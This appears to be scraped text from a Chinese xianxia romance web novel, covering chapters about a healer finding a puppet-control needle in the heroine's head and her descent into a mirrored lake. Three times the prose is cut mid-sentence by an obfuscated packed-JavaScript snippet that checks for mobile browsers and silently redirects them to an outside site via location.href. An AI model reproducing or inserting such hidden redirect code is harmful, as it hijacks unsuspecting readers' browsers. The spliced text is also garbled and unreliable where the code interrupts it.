两人飞速向攀升,片刻后,同时踏上崖顶。 眼前是一间朴素的小草堂,由简陋的篱笆围了起来,院落中摆放着好几个木架子,上面晾晒着冬青或认识或不认识的草药。 薄薄的窗纸隐约透出一道女子的剪影,似乎正低头在缝补什么。 池南看了一眼冬青,上前摇响篱笆上的铃铛。 铃铛响了三声后,房门被轻轻推开。 一名衣着朴素的女子款步而出,她长发侧编垂在身前,只戴了一根梨花簪固定发髻,一身绢色素布袍,或许正在干活,因此系着襻膊。 她见到来人后微微顿了一下,随后展颜一笑,“稀客啊。” “游姑娘,深夜拜访,叨扰了。”池南持剑拱手。 “你也知道叨扰。”这女子看上去比两人要年长些,不过面庞年轻,年岁应当也不大,她打开院门,看向冬青,“好生漂亮的小姑娘?” “游姑娘,”冬青学着池南的样子一拱手,“在下冬青。” “我叫游芷。”她笑道,“我应当比你年长些,叫我游姐姐就是。” 冬青微微点头。 游芷侧开身子,迎两人进院。 池南低声跟冬青解释,游芷是他父亲故交之女,幼时见过寥寥几面,几年前他在西蛮荒受了伤,恰逢她前去采药,才得以相救。 冬青依旧微微点头。 池南看出她有些拘束,轻轻拍了拍她的肩膀,“别担心,她……应当挺好相处的。” “这话倒是不错,我很好相处的。”游芷忽然回头一笑,手一勾,一壶滚热的茶水缓缓飘来,为两人斟了热气腾腾的茶水。 “说吧,找我何事?”游芷一撩衣摆,坐在藤椅里。 “前一段时间冬青中了幻毒,一直恢复得不好,方才还流鼻血,我想请你帮她瞧瞧。”池南正色道。 游芷手腕支着下巴,眨眼不语,只是若有所思地看着他。 池南心领神会,“放心,不会亏了你,我得过一株品质上佳的雪狐兰,回去我便让明光给你送来。” 冬青侧头看了他一眼,却在他回望之前收回目光。 雪狐兰,她默默记下了这个名字。 “成交!”游芷毫不犹豫地答应,转身看向冬青,“冬青,随我来吧。” 她指挥池南,“你也别闲着,帮我把院里晾干的草药收了。” 冬青沉默着站起身来,随游芷向后院走去。 海月明亮,高悬于墨色海面上,游芷走在前面,冬青盯着她被月光拉长的影子,直到在一个菜窖前停下了脚步。 菜窖? 游芷抱歉地说,“条件有限,你多担待。” 她燃起火折子,走入菜窖点亮壁龛,被光影拉长的影子向冬青招了招手,“来吧!” 冬青迟疑着拾级而下。 果然是一个菜窖,里面存着不少食材,皆贴着防腐的符箓,符箓上面的朱砂笔迹已然被水汽洇染,变得模糊不清。 游芷从角落推来一个半人高的木桶,清洗干净后,烧了一壶水倒入桶内,又倒满了一种淡绿色液体,搅拌均匀。 “好了,脱了衣服进去吧。”游芷将手上残留的液体随意揩在一旁挂着的布巾上,搬来一个小木凳,“衣服放这上就行。” 冬青皱着眉头,打量着那桶淡绿色的液体,一时没动。 那看起来明明很像进去一个人出来一捧骨头渣子的毒液! 游芷似乎看出她的顾虑,噗嗤一声笑出来,“你不信我,还不信池南吗?” 她挽起袖子,把胳膊伸进绿水里搅了搅,停留一会后完好无损地拿了出来,“看,没事的。” 冬青稍微放下心来,迟疑着背过身去解衣带。 “你泡一会儿,你的真气便会融在水中,我的真气便可循迹探知你的状况,才好对症下药。”游芷很有分寸地背过身去,直到听到轻微水声,才转过身来。 褪下来的衣衫被整齐叠放在木凳上,绿色液体一直漫到冬青锁骨的位置,水面上只露出一个小脑袋和一截修长的肩颈。 那双黑亮的眼睛湿漉漉地看着游芷,叫她忍不住上前揉了一把被水汽濡湿的发顶。 冬青感到她并无恶意,力道也甚是轻柔,她不解地仰头问道,“我头上有什么东西吗?” 游芷动作一顿,随后绕到她背后,轻轻把她的碎发拢住固定,语气柔和,“没什么。” 突然,冬青感觉一根凉凉的手指点在她脖颈下方的那截脊骨上,随后游芷含笑的声音传来,“冬青,你这里有一颗小红痣呢。” 冬青一个激灵,红着耳根缩进水里。 “好了不闹你了。”游芷拍了拍她的脑袋,在一旁燃了一炷香,“你先泡一会,我上去准备些药材,一会就回来。” 冬青点点头,目送游芷消失在入口处。 她在水中坐直身子,木桶里的液体没有想象中的怪味,反倒散发着一股好闻的清香。 一点草药碾磨过的碎末浮在水面上,冬青掬了一捧绿水,看着它滴滴答答从指缝和手肘滑落。 她轻轻靠在桶壁上,将后脑枕在桶沿,闭目养神起来。 游芷回到院中时,池南正在勤勤恳恳地收草药。 他不知草药种类,只能将每种草药分开摆放。 “你倒真收上药了。”游芷稀奇道。 池南将最后一种草药从架子上拿下来,放进地上的小筐里,他直起身拍掉掌心碎屑,“我以诚相待,游姑娘自会尽心医治。” “那姑娘是你什么人?相好?”游芷蹲在筐边挑拣草药,随口问道。 “不是相好。”池南望向后院方向,轻声道,“我单方面的。” 游芷“哦呦”一声,“铁树开花了,那我可得好好看看。” 池南拱手,“有劳了。” 游芷轻笑着挥了挥手,揣着一把草药离开了。 她漫步走进菜窖,在看见桶中人时倏然放轻了脚步。 冬青靠在桶里,闭着眼睛像是睡着了,热气蒸的她面颊发红,额前碎发微微卷曲。 几乎是游芷靠近的瞬间,她猛然睁眼避退,在看清来人时才放松下来。 “别怕,是我。”游芷轻声道,她看向香炉,还有一小截香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362887|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没燃尽,正好够她把草药碾碎。 她搬来凳子,把七八种草药一股脑丢进药碾子中,细细碾磨起来。 “冬青,你也是折云宗的吗?”游芷问。 冬青摇摇头,“不是,我……算是仙人顶的。” 游芷:“你跟池南,是怎么认识的?” 冬青垂下眼睫,在眼底投下一片青黑的阴影,她指尖在水面上无意识地滑了一下,道,“误打误撞吧。” 草药被碾磨得越来越细,游芷见她没有细说的意思,便不动声色地转移话题,“说实话,我跟池南并没见过几面,可能是因为父辈的关系,我看他就像在看自家弟弟一样。” 冬青眼睛一眨,滴溜溜一转,偷偷看向哼哧哼哧磨药的游芷。 “家父离世后,我便隐居在这里,他也知道我不愿出世,几乎从未来过,像这样直接带人来更是一次也没有过。”游芷笑了笑,“他平日里对人要么一副臭脸,要么‘老子天下第一’,对你倒格外不同。” 冬青偏头看向她。 游芷将碾好的药末倒进碗里,用水化开,语气温柔,“我能感觉到,你在他心里,分量很重。” “说多了。”她粲然一笑,将碗递给冬青,“将这碗药服下,我给你治疗。” 冬青把手从水下拿出来,绿色液体顺着手肘滚落,她接住碗,一饮而尽。 “咳咳……!”苦涩的汁水顺着食道滑下,苦得她舌根发麻,忍不住呛咳起来。 怎么这么苦! 她咳得上气不接下气,眼角泛红,裸露在外的肌肤迅速爬上红晕,与凉气接触,激得她打了个寒颤。 “呀,好久没给人治疗过了,忘了备一些蜜饯了。”游芷懊恼地拍了一下脑袋,走过去轻轻拍着她的背给她顺气。 池南抱剑靠在菜窖旁的树干上,听见里面传来的咳声,快步走到菜窖口,急问道,“怎么了?” 下面的冬青立刻压低了咳声,轻拍游芷手背。 游芷心领神会,扬声道,“无事!” 片刻后,冬青倒是不咳了,取而代之的是浑身火辣辣的热,像泡了辣椒水一样,热到一种发痛的地步。 冬青喘着热气,眼神瞬间一凛,就要站起身来。 “别别!”游芷连忙把她按下去,“热是正常的,就是要逼出来的真气,才好确定病因!” “真的吗?”冬青仍是警惕着,却止住了起身的动作。 她虽不能完全对游芷放下心来,但她还是愿意相信池南的。 “是真的,别担心!”池南的声音适时从上方传来,带着空旷的回音。 说罢,冬青才稍稍放心了一下,重新回到木桶里,只不过仍旧全身紧绷,似乎准备随时破桶而出。 游芷犹豫了一下,从乾坤币里拿出一个藕色屏风,立在桶前。她低声询问,“你若不放心,可以把池南叫下来,就让他在屏风后面,什么都看不见。” 冬青此刻浑身泛着诡异的红,天青色的真气不受控地溢出,围绕在她身边。 半晌,她点了点头。 游芷松了一口气,还未开口,前方便传来了蹬蹬蹬的脚步声。 那脚步声由近及远,由急渐缓,最终,停在了那道藕色屏风后。 “冬青。”一道清冽的声音从屏风后传来,稳定地令人安心,“当年游姑娘也是这般为我医治的,你不用怕,我在这里陪着你。” 42. 第 42 章 随着热意在体内不断聚集,冬青只觉浑身上下每一寸肌肤都如被烈火灼烧,就连水波触碰在皮肤上也会感觉到刺痛。 游芷看时机差不多了,便凝神探出真气,交织在冬青散发出的天青色真气中。 不对劲。她心头一沉。 混乱,一片被干扰后的混乱。 “冬青。”游芷轻声唤她。 冬青正咬牙抵御着浑身刺痛,闻声只是几不可察地颤了颤,发出一声压抑的“嗯”。 “我要控制真气进入你的体内,过程可能会有点痛苦,你要稍微忍耐一下。” “好。”冬青点点头。 游芷的木槿色真气顺着药液缓缓渗入冬青经脉。两股真气甫一相接,便剧烈地冲撞、排斥,二人皆不好受。 冬青死死扒住桶边,陌生的真气在她体内横冲直撞,痛得她眼前阵阵发黑,几乎喘不过气。 就在此时,嗡—— 那钟磬般的声音再度在脑海中骤响。 嘀嗒。 一滴殷红液体坠入绿水中,无声荡开。 “找到了!”游芷声音骤紧,当即催动更多真气深入探查。 冬青再忍不住,低头痛呼出声。鲜血霎时如注涌出,转眼便将绿水染成一片浑浊的暗红。 她清晰地感觉到脑海中存有异物——游芷的真气与之悍然相撞的瞬间,一股庞大能量轰然反震,几乎要将她脑海撕裂! 冬青头痛欲裂,眼前黑红交错一片,天旋地转。 她本能地摸索着攀住桶沿,探出身剧烈地干呕起来。 游芷被震得向后踉跄数步,连忙上前扯过她的衣衫把她从桶里捞出来。 “怎么了?”池南焦急的声音传来,他强忍住冲到屏风后的欲望,在屏风后来回踱步。 水溅了一地,此时却无人顾及。 冬青抖着手将衣衫囫囵穿好,血止不住地涌出,蹭得满身狼狈。 游芷扯过什么墙上的布巾按在她鼻下,把她按在矮凳上,撬开她牙关塞了一颗丸药,随后对屏风后的人道,“进来吧。” 池南应声疾步走进,他直奔冬青身前,蹲下身,语气急切,“冬青,你还好吗?” 声音飘渺地传进耳朵,淹没在持续不断的嗡鸣下,那声音在脑海中不断冲撞盘旋,像是有一只大手抓着她的脑袋四处撞去,让她头破血流,眼冒金星。 她眼睫迅速颤动,颤抖着向前伸出手,希望能抓到一根稻草。 拜托了,什么都好,快停下来—— 念头方起,一只温热的手便毫不犹豫地紧紧握住她,随即用力将她打横抱起。 依旧眩晕,却比方才好了许多。 定海神针。冬青昏昏沉沉地想,更紧地抓住了那只手。 “怎么回事?”池南抱着人疾步向院中走去。 游芷紧随其后,蹙眉道,“我刚才用内力探进冬青脑袋时,触到了……”她斟酌着用词,迟疑道,“一根针?” “一根针?”池南推门而入,将冬青轻轻放在一旁榻上,正要抽手时,怀中人却攥得更紧,于是他顺势半跪在榻边,任她攥着。 “对,一根针。我触碰到那根针的刹那便被弹开,根本无法细察。”游芷打开角落里的箱子,里面堆放着数不清的书籍,她一本一本翻找着,很快地上便散落了一地的书。 冷汗成股流下,冬青浑身湿透,冷得一阵阵发抖。 池南自乾坤币中抽出一件斗篷,抖开将她严实裹住。 温润的真气自二人交握的手掌源源不断渡入冬青体内,榻上人颤抖渐止,缓缓睁开双眼。 “池南。”冬青意识不清地唤了一声。 “我在!”他立即回应,“你感觉怎么样?” “好多了……”她撑着身子坐起来,池南眼疾手快地往她身后塞了个软枕。 就在这时,游芷“啊”了一声,捧着一本掉页的书快步上前,“找到了!” “你们看,这书里记着一种禁术,叫灵傀刺。” 灵傀刺,顾名思义,呈尖棘状,刺入脑中,数天即融。配引魂铃,铃响则受者头痛失智,直至唯听号令,成活傀儡。 池南眸色陡然沉冷,他看向游芷,“可有解决之法?” 游芷翻着书籍,“有是有,只不过只有五成概率成功。” “什么办法?” “这世上有一种珍珠,叫仙人泪。”她把书递给池南,“剧毒,腐蚀性极强,传闻能化鳞甲于无形,用仙人泪消融灵傀刺,以毒攻毒,或许有一线生机。” 池南忽然想到冽墟内,那老神婆荒唐的预言,哑着声音问道,“另外五成呢?” “要么彻底成为傀儡,要么……仙人泪腐蚀全身筋骨,化为一滩肉泥。” 此刻,狭小的草堂内空气宛若凝结,烛火突然“啪”一声爆开,炸响在每个人心头。 半晌,冬青忽然开口,“池南。” 池南看向她,烛光在那双黑眸中跃动,映出一种近乎冰冷的决绝。他看着,心头猛地涌起一个强烈的念头—— 别说,别把接下来的话说出口。 冬青身子仍不时轻颤,声线却平直且冷静,冷静到几乎要将他冻住,“届时如果失败了,你就杀了我。” 她宁愿死,也不要成为旁人的傀儡。 两人的手仍紧紧交握着,池南却感到掌心传来的温度越来越凉。 半晌,他咬牙呼出一口浊气,“好。” 游芷又道,“这本书只写了仙人泪长在水里,但又没说具体在哪。这几天我再找找古迹,一有消息便传音给你。” 她转身,打开一旁的衣柜,扒开层层衣物,从下面拿出一个旧得开裂的匣子。 里面装着一块莹润生辉的白玉。 游芷把这块玉塞到冬青手中,“这是我家传的护心玉,你把它带在身上,会稍微好受一些。” 手心蔓延开温润的触感,暖流般柔和,冬青看着她眸色微动。 家传的,就这样交到她手里了吗? 她们明明只有一面之缘而已。 游芷似乎看穿了她,玩笑道:“可不是给你的,等你好了我可是会要回来的。” 冬青直起身子,狠狠点头,“好。” 这时,池南的乾坤币剧烈抖动,从方正的钱眼里飞出来了个做工丑陋、只能勉强分得出头和躯干的的小木人。 那小木人开口了,是燕明光的声音,“师兄!” 池南:“说。” “白晓城有新消息了!”燕明光的传音灵道,“南氏的除妖队传来消息,说在白晓城附近的一片荒野发现了参与屠城的妖物道藏匿痕迹!” 池南长眉一拧,“知道了。” 那小木人像模像样地点了点头,正准备钻回乾坤币,池南却突然开口叫住了它,“明光。” “师兄有何吩咐?” “帮我查一下去哪能找到仙人泪。” “放心吧师兄,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362888|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在就去查!”小木人笨拙的拱了个手,随后一脚深一脚浅地钻回乾坤币。 忽然一声轻笑从耳畔传来,池南抬眸看去,只见冬青苍白的脸上嘴角扬起,眼梢弯起,她指着那小木人道,“你师弟看起来那么意气风发的一个人,没想到传音灵竟然还挺可爱的。” 池南表情有一瞬古怪,他在乾坤币里翻翻找找,半晌掏出来一个巴掌大的红色剪纸,边缘已经微微褪色,折痕深深,像是被丢在哪个不为人知的角落已久。 冬青接过那剪纸,拿在手里端详半天,疑惑道:“这是……你?” 她把那圆滚滚的红色小剪纸比到池南右脸颊边——身旁这人清劲挺拔,而她手上这个小人却活脱脱是个胖墩墩的娃娃。 那眼神里的怀疑实在是太过赤裸,一点掩饰都没有,池南被她看得耳尖一热,一把夺过剪纸放在手上。 掌心真气迸发,注入剪纸内,薄薄的纸片抖了抖,随后那小人鲤鱼打挺般抖擞着站起身来。 他说,“这是我幼时做的传音灵。” 那剪纸小人立刻复述,“这是我幼时做的传音灵。” 小人蹦跳着来到冬青向上摊开的掌心,竟十分自然地躺了下来,还翘起了二郎腿。 冬青毫不怀疑,这剪纸小人绝对复刻出了池南幼时的神韵,且不论样貌如何,就这讨打的劲儿简直如出一辙。 “送给你。”池南生怕她拒绝似的,把传音灵强行塞进她的乾坤币,“这不比燕明光那木头可爱多了。” 冬青嗤笑一声,“你们师兄弟,连手艺都一脉相承,丑的出奇。” 至此,方才屋里凝滞的空气终于被打破,外界的风呼呼涌进,将人心头上那点阴霾吹散些许。 冬青缓过来许多,也不愿在这里过多叨扰,于是起身,打算回仙人顶。 传送阵的光幕照亮院落,游芷站在门前,与二人挥手告别。 一步千里,周身风气陡然变换,扑面的风不再咸涩,二人又重新回到竹居。 冬青回首,从即将消散的光幕中看见游芷对她笑了一下。 “那个……” 池南转身,“嗯?” “雪狐兰,”冬青攥紧拳头,抬起头迎上他的目光,“我会还给你的。” 轻飘飘的几个字,却仿佛带着千钧之力,重重砸在池南心口,震得他心头发颤。 “冬青,你听好。”他俯身与她平视,目光沉静而专注,“我给游芷那株雪狐兰的时候,根本没想过要你还。我愿意给出那株雪狐兰,只因为你是冬青而已。” “别说一株雪狐兰,就算百株千株,你也值得。”他声音温柔而坚定,“所以别再说什么‘还我’之类的话了,好吗?” 冬青被他认真的眼神慑住,怔怔望着他,不知怎的,她忽然记起闻儒可说过的一句令她刻骨铭心的话,他说: “冬青,你以为你是谁,这世上没有人会无缘无故对你好,如果有,那他定是要向你索取什么。” 她一直记得这句话,几乎其当成一句箴言铭记,她不是没反驳过这句话,紫荷、老道长、柳又青、沈秋溪……他们都曾让她起过反驳的念头,可那句话就像一个诅咒,总是在她刚尝到甜头的时候不合时宜地冒出来敲打她。 可今夜,竟有一个人,明明白白地告诉她,他做的这一切,只因为她是冬青而已。 咔嚓—— 那句困住冬青十余年人生的箴言,就这样轻而易举地被池南敲碎了。 43. 第 43 章 “你还没回答我,好吗?”池南仍是深深看着冬青,似乎今夜必须听到她亲口说那个字。 心里的暖意驱散了虚弱带来的冷寒,冬青点点头,郑重道,“好。” 池南得到了想要的答案,满意地直起腰,挑眉弯唇看向她,“这才对嘛。” “我要去藏经阁一趟。”冬青迟疑了一下,“你要去吗?” 池南本来就打算去,听见她这像是邀请的话,却是抱臂后仰,语气中透着一丝玩味,“你想我去吗?” 他一眨不眨地盯着她,如果她说一个“好”字……不,就算不说话只点头的话,他也会去的。 下一秒,冬青没有说好也没有点头,而是轻轻摇了摇头,堪称冷酷无情地吐出两个字,“不想。” “……”池南笑容僵在脸上,“你说什么?” 冬青疑惑,她刚才声音好像不是很小,于是又重复了一遍,“不想。” “……”池南再一次遭到心灵上的暴击,他深吸一口气,“好吧。” 冬青隐约觉得自己说错了话,于是讪讪揉了揉耳根,半转过身,向着藏经阁的方向虚虚指了一下,“那,我走了?” “哦。” 她转身向藏经阁的方向走去,夜深人静,石子路两边的蘑菇发着斑斓荧光,脚步声在深夜格外清晰。 而身后,一直有个脚步声在不紧不慢地跟着她。她走,身后那人也走;她停,身后的人也停。 她无声弯起嘴角,装作不知道的样子继续向前走。 “别有洞天”的木板不知道被谁挂了起来,在水帘洞一侧的石壁上,龙飞凤舞的字迹格外惹眼。 冬青在木板前稍微驻足了一会,身后果不其然响起了一个不屑的轻嗤,“写的什么玩意儿。” 她回首,池南从身后密林的阴影里走出,他看着那飞扬的四个大字,骨节分明的手在腰间一探一甩,一抹银白一闪而过,飞入密林。 片刻后,无相剑飞回,一块素木板被无相拎了回来。 池南提剑,剑尖点在木板上端,手腕用力,重新刻了“别有洞天”四个字。 冬青从前觉得那块木板写的挺好的,现在池南把他写的那块挂在旁边,对比之下,即便尚未着墨,也能一眼看出谁更胜一筹。 她突然玩心大发,从乾坤币中取出一把匕首,走到池南那块木板前,在右下角仔细刻下两个字。 到此—— 匕首尖一顿,她忽然抬头看去。 “别有洞天”四个字潇洒俊逸,而她未正经学过写字,刻出来的两个字歪歪扭扭的,活像一幅名画上洇了一团墨一样。 她忽然就没了刻字的兴致,把匕首扔进乾坤币里。 池南正在心里感叹字如人一般可爱,冷不防见她收了匕首,不由问道,“怎么不刻了?” “我刻的不好看。” 她语气很平静,池南却隐隐听出了些不悦,他抽出无相剑,反手将剑柄递到她手上,“刻呗,你刻了,我这块木板就是独一无二的了。” 剑柄沁凉,细腻的纹路贴入掌心,她提着剑,将剑尖抵在“此”字后面,刻完了剩下的“一游”两个字。 “刻得多好。”池南凑上前,指尖轻点在“到”字前,“怎么不把你名字刻上?” “若是被别人看见了,成何体统。”冬青摆摆手,“过过手瘾得了。” 池南发现冬青思考方式特别有意思,她觉得成何体统的是被别人看见这件事,而不是刻字这件事。 他心念微动,用剑认认真真刻下了冬青的大名。 本来已经踏进盘龙八弯的冬青回身一看,“你在干什么?” 池南刻完字,把挂了上去的木板又拿了下来,收进乾坤币里。 他快步跟上,若无其事道,“没什么。” 这是池南第二次进仙人顶的藏经阁,山内建筑宏伟辉煌,弥漫着书卷的纸墨香,他随冬青站在莲花飞阶上,来到第五层。 他凭栏下望,手肘闲闲搭在栏杆上,“等我师父出关了,我也要请他在草木青山建个藏经阁。” “弗如仙师?”冬青一边翻着书一边问,“弗如,弗如,怎么取了这样一个名号?” 池南笑道,“据说师祖当时先收了我爹为徒,后收了我师父,我师祖说师父不好好练功,心比天高,为了让他戒骄戒躁,才给他取了弗如的名号。” “没想到还有这段渊源。” “是啊。”池南也伸手拿出一本书翻找起来,“后来师父修为真的超过了我爹,但这名号也没再改过。” “令尊……”冬青尽量让自己声音听起来稀松平常,“是如何故去的?” 池高梧的名号她不是没听过,说是一代天师也不过如此。 池南翻页的手指停顿了一下,随后如常翻过书页,他轻声开口,“我娘走后,我爹郁郁寡欢,加上他年轻时受的许多伤留下了病根,身体每况愈下,以至于……被妖趁机寻仇。” 似乎察觉到气氛有些凝重,他马上故作轻松地摆了摆手,“已经过去这么长时间了,不提也罢。” 这时,冬青拿着书走到他身边,“你看这里。” 书页泛黄,散发着股咸咸的味道,上面记载着仙人泪生长于镜湖内,此地凶险异常,会映射出入湖者的记忆片段,稍有不慎,便会迷失其中。 “镜湖?” 这时,小木人又从乾坤币里跑了出来,手脚并用地爬上池南肩头,“师兄,我查到仙人泪在镜湖。” 这倒是和他们不谋而合了。 “这个我已经知道了。” 小木人:“镜湖在南氏。” “……”池南提着小木人的脑袋拎到眼前,阴森道:“一次性说完。” 小木人一抖,语速变得飞快,“南氏白晓城附近有一片荒野,荒野里有一片扭曲的结界空间,镜湖就在结界里。” “行,我知道了。”池南说着就要把小木人塞回乾坤币钱眼里。 “师兄我还没说完呢!”小木人死死扒着钱眼,“镜湖里可能有妖族的残党余孽,你还没完全恢复,要小——!” “心”字还没来得及说,小木人便被乾坤币巨大的吸力吸了进去。 “冬青,我即刻出发,你在仙人顶等着我。”池南单手掐诀,向前一指,等人高的传送光门缓缓开启。 “等等。”冬青叫住他,“我也去。” 她的脸在烛火下如光滑冰冷的瓷器,映照出暖色的火光,一双眼黑亮的惊心动魄。 池南担心她的身体,皱起眉头,却也没说出拒绝的话来。 冬青又说,“事关我的性命,不能轻易交到你手上。” 双方无声的僵持还是池南先败下阵来,他叮嘱道,“不要逞强。” “你才是。”冬青扒开他,毫无停留地走进传送门。 皓月当空,荒野亮如白昼。 冬青一脚陷进潮湿软烂的泥土里,险些摔个踉跄。 面前是齐胸高的枯草,在风中如浪涛向一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362889|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧倒去,震天响的沙沙声中偶尔夹杂着一两声枯枝断折的脆响。 她踮起脚环顾四周,没看见池南。 这传送门怎么和贺兰烬那个一样不靠谱? 她手臂向两侧挡开枯草,深一脚浅一脚地朝前走去。 想必这里就是荒野,她闭眼,周身景象在眼前铺展开来。 奇怪,这荒野无边无际,却一点活物的气息都没有。 池南呢?已经进结界了吗? 她神识放远,一点夜空一般的墨蓝出现在识海。 那应当就是镜湖。 冬青估摸着距离,以这片荒草的密集程度,走过去大概需要一炷香的时间,而且耗费体力。 她几乎想都没想就挥手开了个传送门,特意将目的地定在湖边,免得像上次在砚湖那样狼狈。 她踏出光门。 眼前仍是一望无际的枯黄荒草。 “……怎么回事?”冬青不由得低语出声。 她明明把传送门开在了镜湖,此刻眼前应当就是那片墨蓝的湖水才对。 忽然,脑海里一个声音一闪而过。 【荒野里有一片扭曲的结界空间。】 扭曲的空间……她知道了! 原来在结界里的不是池南,而是她! 怪不得她明明把传送门开在了湖边,却来到了荒野的另一处,原来这里的空间是扭曲的。 既如此,那传送门便不起作用了,也难怪她和池南没有传送到一处。 “错怪他了。” 冬青已经大致有了对策,她闭上眼,按照识海内的空间向镜湖跋涉而去。 走出大概一里路的距离,眼前识海突然一闪,自己在识海内的空间发生了变化。 她睁开眼,果然又换了个地方。 不过好在离镜湖的直线距离比方才近了些。 她重新闭上眼跋涉。 每走一里路,她的空间位置便会发生变换,但却实实在在的离镜湖越来越近。 看来这片空间只能阻碍她向镜湖靠近,却不能拦住她。 不知跋涉了多久,冬青浑身都出了一层热汗,终于,在最后一次变换位置后,她直接出现在了镜湖中央。 她站在镜湖上,脚下却并不是水的触感,而是冰冷的,坚硬的质地。 冬青低头看去,却冷不防撞进了一双眼里。 她悚然一惊,定睛看去——那是她自己的倒影。 脚下是……一面镜子! 怪不得在识海里看的湖水是墨蓝色,原来是镜子里的夜空。 她半跪下来,将耳朵贴近镜面,左手指节轻敲,厚实的“笃笃”声传进耳朵,听不出是实心还是空心。 镜湖,难道就是这面镜子吗? 那仙人泪在哪里呢? 她秀眉微拧,左手五指轻按在镜面上,看上去像是与自己掌心相贴。 正欲起身时,一个念头电光火石般掠过脑海,心头猛地一颤—— 方才,镜子里的她,好像没有皱眉。 她猝然低头! 镜子里的自己嘴角以一个诡异的角度上扬着,黑如深空的双眼正一眨不眨地盯着自己。 下一刻,一双青白的瘦手从镜面里飞速探出,一把扣住冬青的手腕,猛地向下拽去! 冬青身形一晃向前栽去,镜面如湖水波动,眨眼间将她整个人吞入腹中! 片刻后,镜子上的涟漪消失,镜湖之上,又重新恢复了方才的死寂。 44. 第 44 章 手腕处传来剧烈的拉扯感,同时冰冷的湖水从四面八方压来,冬青被一股蛮力狠狠往下掼去,强烈的暗流将她裹挟着冲向深处,又一道逆流自她身后猛撞而上,冬青猝不及防的被两股暗流相对冲撞,霎时五脏六腑被挤压到极限,她猛的呛出一串血色的气泡。 绞痛和窒息感直冲头顶,她急忙抽了张避水符捻燃。 一张圆形的球形光屏自手中符箓处展开,迅速将冬青包在其中,与水隔绝开来。 她总算得以喘息,猛吸两口气后立刻观察起四周。 湖水下是伸手不见五指的深黑,水面上的镜子将一切外界光源隔绝在外,水下一丝光线也无。 冬青放出真气,湖下景象出现在识海内,奇怪的是,这片湖水非常浅,而且四周空无一物,方才将她拽下来的“自己”早已消失不见。 难道这里才是真正的镜湖? 她感受着手腕处残留的微弱妖气,想必方才那人就是燕明光说的白晓城一战后逃窜的妖族余孽。 不过躲到哪里去了? 冬青闭眼留意着周围的一举一动,就在这时,一支弩箭划开水幕,如鬼魅般极速向她射来。 她耳尖一动,倏然张开五指,凌空用力一握! 弩箭周围的湖水骤然被无形之力挤压,咔嚓几声清脆的细微响动顺着水流传来,那弩箭被生生折断成几段,被水流包裹着送到冬青的避水光屏前。 她将手伸出光屏,把断箭拿进来,从乾坤币放出几只柳又青赠的金荧子,借着其金色流光,仔细端详着断折的弩箭。 这支木质弩箭似乎是特殊的法器,几乎没有被水浸湿,不过看起来很旧了,箭身上涂的防水层已经斑驳。 妖为什么会用术士的法器? 她两指捏着箭身从上到下摸索,指尖突然触到背面一处刻痕。她将箭转到背面,上面刻着几个模糊的小字。 “九……什么尘?”中间那字被磨损,模糊不清,她索性将其收进乾坤币。 这时,又一支弩箭从湖底射来,这支弩箭带着紫色的弧光,行至半空骤然一抖,分裂出数十支弩箭,铺天盖地向冬青袭来。 “雕虫小技。” 冬青双手向身侧张开,猛地向中间合拢! 两侧湖水剧烈翻涌,拧成两股水龙卷一左一右同时向中间那数十支弩箭撞去。 湖水相撞的轰然巨响中,数十支弩箭齐齐折断,随后被汹涌乱流卷成齑粉,四散开来。 冬青被暗涌冲击震开,向后退了一段距离,缓滞地在乱流中停住。 这两支弩箭都是从湖底射出,那妖一定就藏在湖底沙里! 冬青想着,飞身向下,直奔湖底而去。 越来越多的弩箭从湖底射出,带起一段飞扬的沙土,冬青不闪不避,直直向下,所有弩箭近前之时,非断即碎,无一幸免。 眼见行至湖底,湖底沙土浑浊,在识海中仍是一片混沌。突然,一块巨石破开浑浊沙土疾速飞出,速度之快,几乎眨眼便要和冬青迎面相撞! 她心底暗骂一声,连忙止住下冲之势。 巨石竟在湖底燃烧起来,火石照亮了四周湖水,在冬青眼底迅速放大! 冬青竭力后仰,几乎是同时,巨石轰然撞碎光屏,擦着她鼻尖略过。 光屏一碎,重逾千斤的湖水便排山倒海向她压来。 避水符只那一张,先前为了节省真气已经用了,她咬紧后槽牙,运起御物之术,双手向两侧狠力一推—— 湖水被生生撑开,宛若一道以她为轴的天堑,将湖水劈成垂直山壁,露出前方浑浊翻滚的湖底泥沙。 她畅通无阻地来到湖底,双足触及沙地,扬起了一些细碎尘土。 巨石飞出一段后便燃烧殆尽,湖底重新恢复漆黑。 冬青又放了几只金荧子出来,微弱的流光仅能照亮一臂的距离。 就在金荧子照亮范围的边缘,一点光亮倏忽闪过。 